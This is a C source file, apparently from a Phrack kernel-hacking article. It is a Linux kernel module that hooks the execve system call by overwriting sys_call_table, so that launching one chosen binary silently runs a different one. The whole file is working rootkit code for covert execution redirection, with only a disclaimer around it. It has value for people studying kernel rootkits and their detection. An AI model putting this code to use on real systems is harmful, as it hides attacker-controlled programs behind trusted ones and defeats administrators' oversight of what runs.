/*
 * LICENSE:
 * this file may be copied or duplicated in any form, in
 * whole or in part, modified or not, as long as this
 * copyright notice is prepended UNMODIFIED.
 *
 * This code is proof of concept. The author can and must
 * not be made responsible for any, including but not limited
 * to, incidental or consequential damage, data loss or
 * service outage. The code is provided "AS IS" and WITHOUT
 * ANY WARRENTY. USE IT AT YOU OWN RISK.
 *
 * this is part of the Phrack (www.phrack.org) article:
 * Advances in Kernel Hacking II by palmers / teso
 */

#define __KERNEL__
#define MODULE
#include <linux/module.h>
#include <linux/string.h>
#include <linux/slab.h>
#include <linux/mm.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/sched.h>
#include <linux/smp_lock.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <asm/ptrace.h>
#include <errno.h>

#include "strdup.c"

extern void    *sys_call_table[];

int             (*o_execve) (struct pt_regs);

void            cleanup_module();


int
n_execve(struct pt_regs regs)
{
    int             error;
    char           *filename;

    lock_kernel();

    filename = getname((char *) regs.ebx);

    error = PTR_ERR(filename);
    if (IS_ERR(filename))
	goto out;

    /*
     * if a distinct binary is to be called, redirect to another file.
     */
    if (!strcmp(filename, O_REDIR_PATH))
	filename = _strdup(N_REDIR_PATH);

    error =
	do_execve(filename, (char **) regs.ecx, (char **) regs.edx, &regs);

    if (error == 0)
	current->flags &= ~PT_DTRACE;

    putname(filename);

  out:
    unlock_kernel();

    return error;
}


int
init_module()
{
    o_execve = sys_call_table[__NR_execve];
    sys_call_table[__NR_execve] = &n_execve;

    return 0;
}


void
cleanup_module()
{
    sys_call_table[__NR_execve] = o_execve;
}
